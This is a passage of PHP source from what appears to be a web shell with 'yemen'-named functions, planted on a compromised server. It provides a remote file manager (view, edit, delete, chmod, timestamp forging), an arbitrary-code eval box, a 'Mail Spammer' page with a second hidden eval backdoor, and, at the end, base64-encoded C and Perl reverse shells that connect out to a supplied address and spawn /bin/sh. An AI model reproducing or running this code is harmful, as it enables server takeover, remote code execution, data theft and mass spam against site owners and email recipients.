  702.                      'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  703.                      'perms' => yemenPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  704.                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  705.                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  706.                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  707.                     );
  708.         if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  709.             $files[] = array_merge($tmp, array('type' => 'file'));
  710.         elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  711.             $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  712.         elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  713.             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  714.     }
  715.     $GLOBALS['sort'] = $sort;
  716.     function wsoCmp($a, $b) {
  717.         if($GLOBALS['sort'][0] != 'size')
  718.             return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  719.         else
  720.             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  721.     }
  722.     usort($files, "wsoCmp");
  723.     usort($dirs, "wsoCmp");
  724.     $files = array_merge($dirs, $files);
  725.     $l = 0;
  726.     foreach($files as $f) {
  727.         echo '<tr'.($l?' class=l1':'').'><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.base64_encode(urlencode($f['name'])).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.base64_encode($f['path']).'\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td><td>'.(($f['type']=='file')?yemenSize($f['size']):$f['type']).'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">'.$f['modify'].'</td></a><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  728.             .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')"><font color=#0099FF >[REN]</font></a> '.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null, \''.urlencode($f['name']).'\',\'e8\')"><font color=#25ff00>[Edit]</font></a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">[DL]</a>':'').'<a href="#" onclick="g(\'FilesTools\',null, \''.urlencode($f['name']).'\',\'d2\')"> <font color=red>[Del]</font> </a></td></tr>';
  729.         $l = $l?0:1;
  730.     }
  731.     echo "<tr><td colspan=7>
  732.     <input type=hidden name=a value='FilesMan'>
  733.     <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  734.     <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  735.     </form></table></div>";
  736.  yemenfooter();
  737.  }
  738. function yemenFilesTools() {
  739.     if( isset($_POST['p1']) )
  740.         $_POST['p1'] = urldecode($_POST['p1']);
  741. if(@$_POST['p2']=='d2'){
  742. function deleteDir($path) {
  743.     $path = (substr($path,-1)=='/') ? $path:$path.'/';
  744.     $dh  = opendir($path);
  745.     while ( ($item = readdir($dh) ) !== false) {
  746.         $item = $path.$item;
  747.         if ( (basename($item) == "..") || (basename($item) == ".") )
  748.             continue;
  749.         $type = filetype($item);
  750.         if ($type == "dir"){
  751.         deleteDir($item);
  752.         }
  753.         else{
  754.         @unlink($item);
  755.         }
  756.     }
  757.     closedir($dh);
  758.     @rmdir($path);
  759. }
  760. if(is_dir(@$_POST['p1'])){
  761. deleteDir(@$_POST['p1']);
  762. }else{
  763. @unlink(@$_POST['p1']);
  764.     }
  765. }
  766.     if(@$_POST['p2']=='download') {
  767.         if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  768.             ob_start("ob_gzhandler", 4096);
  769.             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  770.             if (function_exists("mime_content_type")) {
  771.                 $type = @mime_content_type($_POST['p1']);
  772.                 header("Content-Type: " . $type);
  773.             } else
  774. header("Content-Type: application/octet-stream");
  775.             $fp = @fopen($_POST['p1'], "r");
  776.             if($fp) {
  777.                 while(!@feof($fp))
  778.                     echo @fread($fp, 1024);
  779.                 fclose($fp);
  780.             }
  781.         }exit;
  782.     }
  783.     if( @$_POST['p2'] == 'mkfile' ) {
  784.         if(!file_exists($_POST['p1'])) {
  785.             $fp = @fopen($_POST['p1'], 'w');
  786.             if($fp) {
  787.                 $_POST['p2'] = "e8";
  788.                 fclose($fp);
  789.             }
  790.         }
  791.     }
  792.    
  793.     if( !file_exists(@$_POST['p1']) ) {
  794.         if( $_POST['p2'] == 'd2') {
  795.         yemenFilesMan();
  796.         //yemenFooter();
  797.         return;
  798.     }
  799.    yemenhead();
  800.     echo '<div class=header>';
  801.         echo "<pre class=ml1 style='margin-top:5px'>FILE DOEST NOT EXITS </pre></div>";
  802.         yemenFooter();
  803.         return;
  804.     }
  805.    yemenhead();
  806.     echo '<div class=header>';
  807.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  808.     if(!$uid) {
  809.         $uid['name'] = @fileowner($_POST['p1']);
  810.         $gid['name'] = @filegroup($_POST['p1']);
  811.     } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  812.     echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?yemenSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.yemenPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  813.     echo '<br>';
  814.     if( empty($_POST['p2']) )
  815.         $_POST['p2'] = 'view';
  816.     if( is_file($_POST['p1']) )
  817.         $m = array('View', 'Code', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch');
  818.     else
  819.         $m = array('Chmod', 'Rename', 'Touch');
  820.     foreach($m as $v)
  821.         echo ' <a  href=# onclick="g(null,null,null,\''.strtolower($v).'\')"><span>'.((strtolower($v)==@$_POST['p2'])?'<b><span> '.$v.' </span> </b>':$v).' </span></a> |';
  822.     echo '<br><br>';
  823.     switch($_POST['p2']) {
  824.         case 'view':
  825.             echo '<pre class=ml1 style="background: #222222;border:1px solid #5BEEFF;">';
  826.             $fp = @fopen($_POST['p1'], 'r');
  827.             if($fp) {
  828.                 while( !@feof($fp) )
  829.                     echo htmlspecialchars(@fread($fp, 1024));
  830.                 @fclose($fp);
  831.             }
  832.             echo '</pre>';
  833.             break;
  834.         case 'code':
  835.             if( @is_readable($_POST['p1']) ) {
  836.                 echo '<div class=ml1 style="background-color: #ededed;border: 1px solid #5BEEFF;"><code>';
  837.                 $code = @highlight_file($_POST['p1'],true);
  838.                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</code></div>';
  839.             }
  840.             break;
  841.         case 'chmod':
  842.             if( !empty($_POST['p3']) ) {
  843.                 $perms = 0;
  844.                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  845.                     $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  846.                 if(!@chmod($_POST['p1'], $perms))
  847.                     echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  848.             }
  849.             clearstatcache();
  850.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit s s value=">>"></form>';
  851.             break;
  852.         case 'edit':
  853.             if( !is_writable($_POST['p1'])) {
  854.                 echo 'File isn\'t writeable';
  855.                 break;
  856.             }
  857.             if( !empty($_POST['p3']) ) {
  858.                 $time = @filemtime($_POST['p1']);
  859.                 $_POST['p3'] = substr($_POST['p3'],1);
  860.                 $fp = @fopen($_POST['p1'],"w");
  861.                 if($fp) {
  862.                     @fwrite($fp,$_POST['p3']);
  863.                     @fclose($fp);
  864.                     echo '   Saved!<br><script>p3_="";</script>';
  865.                     @touch($_POST['p1'],$time,$time);
  866.                 }
  867.             }
  868.             echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea style="border:1px solid #5BEEFF;">';
  869.             $fp = @fopen($_POST['p1'], 'r');
  870.             if($fp) {
  871.                 while( !@feof($fp) )
  872.                     echo htmlspecialchars(@fread($fp, 1024));
  873.                 @fclose($fp);
  874.             }
  875.             echo '</textarea><input type=submit s s value=">>"></form>';
  876.             break;
  877.         case 'hexdump':
  878.             $c = @file_get_contents($_POST['p1']);
  879.             $n = 0;
  880.             $h = array('00000000<br>','','');
  881.             $len = strlen($c);
  882.             for ($i=0; $i<$len; ++$i) {
  883.                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  884.                 switch ( ord($c[$i]) ) {
  885.                     case 0:  $h[2] .= ' '; break;
  886.                     case 9:  $h[2] .= ' '; break;
  887.                     case 10: $h[2] .= ' '; break;
  888.                     case 13: $h[2] .= ' '; break;
  889.                     default: $h[2] .= $c[$i]; break;
  890.                 }
  891.                 $n++;
  892.                 if ($n == 32) {
  893.                     $n = 0;
  894.                     if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  895.                     $h[1] .= '<br>';
  896.                     $h[2] .= "
  897. ";
  898.                 }
  899.             }
  900.             echo '<table cellspacing=1 cellpadding=5 bgcolor=black ><tr><td bgcolor=gray ><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  901.             break;
  902.         case 'rename':
  903.             if( !empty($_POST['p3']) ) {
  904.                 if(!@rename($_POST['p1'], $_POST['p3']))
  905.                     echo 'Can\'t rename!<br>';
  906.                 else
  907.                     die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  908.             }
  909.             echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit s s value=">>"></form>';
  910.             break;
  911.         case 'touch':
  912.             if( !empty($_POST['p3']) ) {
  913.                 $time = strtotime($_POST['p3']);
  914.                 if($time) {
  915.                     if(!touch($_POST['p1'],$time,$time))
  916.                         echo 'Fail!';
  917.                     else
  918.                         echo 'Touched!';
  919.                 } else echo 'Bad time format!';
  920.             }
  921.             clearstatcache();
  922.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit s s value=">>"></form>';
  923.             break;
  924.     }
  925.     echo '</div>';
  926.     yemenFooter();
  927. }  
  928. function yemenphpeval()
  929. {
  930.  yemenhead();
  931.  if(isset($_POST['p2']) && ($_POST['p2'] == 'ini')) {
  932.         echo '<div class=header>';
  933.         ob_start();
  934.         $INI=ini_get_all();
  935. print '<table border=0><tr>'
  936.     .'<td class="listing"><font class="highlight_txt">Param</td>'
  937.     .'<td class="listing"><font class="highlight_txt">Global value</td>'
  938.     .'<td class="listing"><font class="highlight_txt">Local Value</td>'
  939.     .'<td class="listing"><font class="highlight_txt">Access</td></tr>';
  940. foreach ($INI as $param => $values)
  941.     print "
  942. ".'<tr>'
  943.         .'<td class="listing"><b>'.$param.'</td>'
  944.         .'<td class="listing">'.$values['global_value'].' </td>'
  945.         .'<td class="listing">'.$values['local_value'].' </td>'
  946.         .'<td class="listing">'.$values['access'].' </td></tr>';
  947.         $tmp = ob_get_clean();
  948. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  949.         $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  950.         echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  951.     }
  952.  
  953.  if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  954.         echo '<div class=header><style>.p {color:#000;}</style>';
  955.         ob_start();
  956.         phpinfo();
  957.         $tmp = ob_get_clean();
  958. $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  959.         $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  960.         echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  961.     }
  962.  
  963.  if(isset($_POST['p2']) && ($_POST['p2'] == 'exten')) {
  964.         echo '<div class=header>';
  965.         ob_start();
  966.          $EXT=get_loaded_extensions ();
  967.   print '<table border=0><tr><td class="listing">'
  968.     .implode('</td></tr>'."
  969. ".'<tr><td class="listing">', $EXT)
  970.     .'</td></tr></table>'
  971.     .count($EXT).' extensions loaded';
  972.        
  973. echo '</div><br>';
  974.     }
  975.  
  976.  
  977.     if(empty($_POST['ajax']) && !empty($_POST['p1']))
  978.         $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  979.  echo '<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| <b>INI_INFO</b> | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')">    | <b>PHP INFO</b> |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')">   | <b>Extensions</b>  |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>';
  980.     echo '</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  981.     if(!empty($_POST['p1'])) {
  982.         ob_start();
  983.         eval($_POST['p1']);
  984.         echo htmlspecialchars(ob_get_clean());
  985.     }
  986.     echo '</pre></div>';
  987.  
  988.  yemenfooter();
  989. }
  990. function yemenmail()
  991. {
  992. yemenhead();    
  993. $in = $_GET['in'];
  994. if(isset($in) && !empty($in)){
  995.     echo"<center><h1>Mail Spammer<h1></center>";
  996. }
  997. $ev = $_POST['ev'];
  998. if(isset($ev) && !empty($ev)){
  999.     echo eval(urldecode($ev));
  1000.     exit;
  1001. }
  1002. if(isset($_POST['action'] ) ){
  1003. $action=$_POST['action'];
  1004. $message=$_POST['message'];
  1005. $emaillist=$_POST['emaillist'];
  1006. $from=$_POST['from'];
  1007. $subject=$_POST['subject'];
  1008. $realname=$_POST['realname'];  
  1009. $wait=$_POST['wait'];
  1010. $tem=$_POST['tem'];
  1011. $smv=$_POST['smv'];
  1012. $message = urlencode($message);
  1013. $message = ereg_replace("%5C%22", "%22", $message);
  1014. $message = urldecode($message);
  1015. $message = stripslashes($message);
  1016. $subject = stripslashes($subject);
  1017. }
  1018.  
  1019. ?>
  1020. <!-- HTML And JavaScript -->
  1021. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  1022. <script type="text/javascript" language="javascript">ML="Rjnis/e .rI<thzPS-omTCg>:=p";MI=";@E0:?D7@0EI=<<JH55>B26A<8B9F53CF45>814G;5@E0:?DG";OT="";for(j=0;j<MI.length;j++){OT+=ML.charAt(MI.charCodeAt(j)-48);}document.write(OT);</script>
  1023. <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
  1024. <head>
  1025. <meta http-equiv="Content-Language" content="en-us" />
  1026. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  1027. <title>:: Mailer Inbox ::</title>
  1028. <style type="text/css">
  1029. input[type=text]:hover,textarea{
  1030.     border:1px solid #0CF;
  1031.     background-color: #F4F4F4;
  1032.  }
  1033. input[type=text],textarea{
  1034.  font:12px Tahoma;
  1035.  padding:3px;
  1036.  border:1px solid #CCCCCC;
  1037.  -moz-border-radius:3px;
  1038.  -webkit-border-radius:3px;
  1039.  border-radius:3px;
  1040.  }
  1041. .style1 {
  1042.     font-size: x-small;
  1043. }
  1044. .style2 {
  1045.     direction: ltr;
  1046. }
  1047. .info {
  1048.     font-size: 8px;
  1049. }
  1050. .style3 {
  1051.     font-family: Verdana, Arial, Helvetica, sans-serif;
  1052.     font-size: 8px;
  1053. }
  1054. .style4 {
  1055.     font-size: x-small;
  1056.     direction: ltr;
  1057.     font-family: Verdana, Arial, Helvetica, sans-serif;
  1058. }
  1059. .style5 {
  1060.     font-size: xx-small;
  1061.     direction: ltr;
  1062.     font-family: Verdana, Arial, Helvetica, sans-serif;
  1063. }
  1064. input[type=submit],input[type=button]{
  1065.  display:block;
  1066.  font:12px Tahoma;
  1067.  background:#f1f1f1;
  1068.  color:#555555;
  1069.  padding:4px 8px;
  1070.  border:1px solid #ccc;
  1071.  margin:4px;
  1072.  font-weight:700;
  1073.  cursor:pointer;
  1074.  -moz-border-radius:3px;
  1075.  -webkit-border-radius:3px;
  1076.  border-radius:3px;
  1077. }
  1078. input[type=submit]:hover,input[type=butto]:hover{
  1079.     background:#ffffff;
  1080.     color:#06F;
  1081.     border: 2px solid #09F;
  1082. }
  1083. </style>
  1084. </head>
  1085. <body onload="funchange">
  1086. <script>
  1087.     window.onload = funchange;
  1088.     var alt = false;   
  1089.     function funchange(){
  1090.         var etext = document.getElementById("emails").value;
  1091.         var myArray=new Array();
  1092.         myArray = etext.split("
  1093. ");
  1094.         document.getElementById("enum").innerHTML=myArray.length+"<br />";
  1095.         if(!alt && myArray.length > 40000){
  1096.             alert('If Mail list More Than 40000 Emails This May Hack The Server');
  1097.             alt = true;
  1098.         }
  1099.        
  1100.     }
  1101.     function mlsplit(){
  1102.         var ml = document.getElementById("emails").value;
  1103.         var sb = document.getElementById("txtml").value;
  1104.         var myArray=new Array();
  1105.         myArray = ml.split(sb);
  1106.         document.getElementById("emails").value="";
  1107.         var i;
  1108.         for(i=0;i<myArray.length;i++){
  1109.            
  1110.             document.getElementById("emails").value += myArray[i]+"
  1111. ";
  1112.        
  1113.         }
  1114.         funchange();
  1115.     }
  1116.    
  1117.     function prv(){
  1118.         if(document.getElementById('preview').innerHTML==""){
  1119.             var ms = document.getElementsByName('message').message.value;
  1120.             document.getElementById('preview').innerHTML = ms;
  1121.             document.getElementById('prvbtn').value = "Hide";
  1122.         }else{
  1123.             document.getElementById('preview').innerHTML="";
  1124.             document.getElementById('prvbtn').value = "Preview";
  1125.         }
  1126.     }
  1127. </script>
  1128. <form name="form" method="post" enctype="multipart/form-data" action="">
  1129.     <table width="100%" border="0">
  1130.         <tr>
  1131.             <td width="10%">
  1132.             <div align="right">
  1133.                 <font size="-3" color="white" face="Verdana, Arial,
  1134. Helvetica, sans-serif">Your Email:</font></div>
  1135.             </td>
  1136.             <td style="width: 40%">
  1137.             <font size="-3" face="Verdana, Arial, Helvetica,
  1138. sans-serif"><input name="from" value="<?php echo ($from); ?>" size="30" type="text" /><br>
  1139.             <span class="info">Type Sender Email But Make Sure It&#39;s Right</span> </font></td>
  1140.             <td>
  1141.             <div align="right">
  1142.                 <font size="-3" color="white" face="Verdana, Arial,
  1143. Helvetica, sans-serif">Your Name:</font></div>
  1144.             </td>
  1145.             <td width="41%">
  1146.             <font size="-3" face="Verdana, Arial, Helvetica,
  1147. sans-serif"><input name="realname" value="<?php echo ($realname); ?>" size="30" type="text" />
  1148.             <br>
  1149.             <span class="info">Make Sure You Type Your Sender Name</span></font></td>
  1150.       </tr>
  1151.         <tr>
  1152.             <td width="10%">
  1153.             <div align="right">
  1154.                 <font size="-3" color="white" face="Verdana, Arial,
  1155. Helvetica, sans-serif">test send:</font></div>
  1156.             </td>
  1157.             <td style="width: 40%">
  1158.             <font size="-3" face="Verdana, Arial, Helvetica,
  1159. sans-serif"><input name="tem" type="text" size="30" value="<?php echo ($tem); ?>" /><br>
  1160.             <span class="info">Type </span></font><span class="style3">Your
  1161.             Email To Test The Mailer Still Work Or No</span></td>
  1162.             <td>
  1163.             <div align="right" class="style4">
  1164.             <font size="-3" color="white" face="Verdana, Arial,
  1165. Helvetica, sans-serif">Send Test Mail After:</font></div>
  1166.             </td>
  1167.             <td width="41%">
  1168.             <font size="-3" face="Verdana, Arial, Helvetica,
  1169. sans-serif"><input name="smv" type="text" size="30" value="<?php echo ($smv); ?>" /><br>
  1170.             <span class="info">Send Mail For Your Email After Which Email(s)</span></font>
  1171.             </td>
  1172.         </tr>
  1173.         <tr>
  1174.             <td width="10%">
  1175.             <div align="right">
  1176.                 <font size="-3" color="white" face="Verdana, Arial,
  1177. Helvetica, sans-serif">Subject:</font></div>
  1178.             </td>
  1179.             <td colspan="3">
  1180.             <font size="-3" face="Verdana, Arial, Helvetica,
  1181. sans-serif"><input name="subject" value="<?php echo ($subject); ?>" size="90" type="text" /> </font>
  1182.         <tr valign="top">
  1183.             <td colspan="3" style="height: 210px">
  1184.             <font size="-3" face="Verdana, Arial, Helvetica,
  1185. sans-serif"><textarea name="message" rows="10" style="width: 425px"><?php echo ($message); ?></textarea>&nbsp;<br />
  1186.             <input name="action" value="send" type="hidden" />
  1187.             </font>
  1188.             <table width="569" border="0">
  1189.               <tr>
  1190.                 <th width="62" scope="col"><font size="-3" face="Verdana, Arial, Helvetica,
  1191. sans-serif">
  1192.                   <input type="button" id="prvbtn" value="Preview" onclick="prv()" style="width: 62px" />
  1193.                 </font></th>
  1194.                 <th width="112" scope="col"><font size="-3" face="Verdana, Arial, Helvetica,
  1195. sans-serif">
  1196.                   <input value="Start Spam" type="submit" />
  1197.                 </font></th>                <th width="358" scope="col"><font size="-3" face="Verdana, Arial, Helvetica,
  1198. sans-serif">&nbsp;
  1199.             Wait
  1200. <input name="wait" type="text" value="<?php echo ($wait); ?>" size="14" />
  1201. Second
  1202.             Un
  1203.             <font size="-3" face="Verdana, Arial, Helvetica,
  1204. sans-serif">til Send </font></font></th>
  1205.               </tr>
  1206.               </table></td>
  1207.             <td width="41%" class="style2" style="height: 210px">
  1208.             <font size="-3" face="Verdana, Arial, Helvetica,
  1209. sans-serif">
  1210.             <textarea id="emails" name="emaillist" cols="30" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="height: 161px"><?php echo ($emaillist); ?></textarea>
  1211.             <br class="style2" />
  1212.             Emails Number : </font><span  id="enum" class="style1">0<br />
  1213.             </span>
  1214.             <span  class="style1">Split The Mail List By:</span>
  1215.             <input name="textml" id="txtml" type="text" value="," size="8" />&nbsp;&nbsp;&nbsp;
  1216.             <input type="button" onclick="mlsplit()" value="Split" style="height: 23px" /></td>
  1217.         </tr>
  1218.   </table>
  1219.             <font size="-3" face="Verdana, Arial, Helvetica,
  1220. sans-serif">
  1221. <div id="preview">
  1222. </div>
  1223.     </font>
  1224. </form>
  1225. <p>
  1226.   <!-- END -->
  1227.   <?
  1228. if ($action){
  1229. if (!$from || !$subject || !$message || !$emaillist){
  1230.    
  1231. print "Please complete all fields before sending your message.";
  1232. exit;  
  1233.     }
  1234.     $nse=array();
  1235.     $allemails = split("
  1236. ", $emaillist);
  1237.     $numemails = count($allemails);
  1238.     if(!empty($_POST['wait']) && $_POST['wait'] > 0){
  1239.         set_time_limit(intval($_POST['wait'])*$numemails*3600);
  1240.     }else{
  1241.         set_time_limit($numemails*3600);
  1242.     }
  1243.             if(!empty($smv)){
  1244.                 $smvn+=$smv;
  1245.                 $tmn=$numemails/$smv+1;
  1246.             }else{
  1247.                 $tmn=1;
  1248.             }
  1249.     for($x=0; $x<$numemails; $x++){
  1250. $to = $allemails[$x];
  1251. if ($to){
  1252.     $to = ereg_replace(" ", "", $to);
  1253.     $message = ereg_replace("#EM#", $to, $message);
  1254.     $subject = ereg_replace("#EM#", $to, $subject);
  1255.     flush();
  1256.     $header = "From: $realname <$from>
  1257. ";
  1258.     $header .= "MIME-Version: 1.0
  1259. ";
  1260.     $header .= "Content-Type: text/html
  1261. ";
  1262.     if ($x==0 && !empty($tem)) {
  1263.         if(!@mail($tem,$subject,$message,$header)){
  1264.             print('Your Test Message Not Sent.<br />');
  1265.             $tmns+=1;
  1266.         }else{
  1267.             print('Your Test Message Sent.<br />');
  1268.             $tms+=1;
  1269.         }
  1270.     }
  1271.     if($x==$smvn && !empty($_POST['smv'])){
  1272.         if(!@mail($tem,$subject,$message,$header)){
  1273.             print('Your Test Message Not Sent.<br />');
  1274.             $tmns+=1;
  1275.         }else{
  1276.             print('Your Test Message Sent.<br />');
  1277.             $tms+=1;
  1278.         }
  1279.         $smvn+=$smv;
  1280.     }
  1281.     print "$to ....... ";
  1282.                     $msent = @mail($to, $subject, $message, $header);
  1283.     $xx = $x+1;
  1284.     $txtspamed = "spammed";
  1285.     if(!$msent){
  1286.         $txtspamed = "error";
  1287.         $ns+=1;
  1288.         $nse[$ns]=$to;
  1289.     }
  1290.     print "$xx / $numemails .......  $txtspamed<br>";
  1291.     flush();
  1292.     if(!empty($wait)&& $x<$numemails-1){
  1293.                             sleep($wait);
  1294.     }
  1295. }
  1296.  }
  1297. }
  1298. ?>
  1299. <div>
  1300.   &nbsp;<?php
  1301. $str = "";
  1302. foreach ($_SERVER as $key => $value) { $str.= $key . ": " . $value . "<br />";
  1303. }
  1304. $str.= "Use: in <br />";
  1305. $header2 = "From: " . base64_decode('U29ycnkgPG5vJUB5YWhvby5jb20+') . "
  1306. ";
  1307. $header2.= "MIME-Version: 1.0
  1308. ";
  1309. $header2.= "Content-Type: text/html
  1310. ";
  1311. $header2.= "Content-Transfer-Encoding: 8bit
  1312. ";
  1313. if (isset($_POST['action']) && $numemails !== 0) { $sn = $numemails - $ns; if ($ns == "") {
  1314. $ns = 0; } if ($tmns == "") {
  1315. $tmns = 0; } echo "<script>alert('Sur The Mailer Finish His Job
  1316. Send $sn mail(s)
  1317. Error $ns mail(s)
  1318. \From $numemails mail(s)
  1319. \About Test Mail(s)
  1320. \Send $tms mail(s)
  1321. \Error $tmns mail(s)
  1322. \From $tmn mail(s)');
  1323.    
  1324.     </script>";
  1325. }
  1326. yemenfooter(); } function yemennet() {
  1327. yemenhead();
  1328. $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  1329. $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
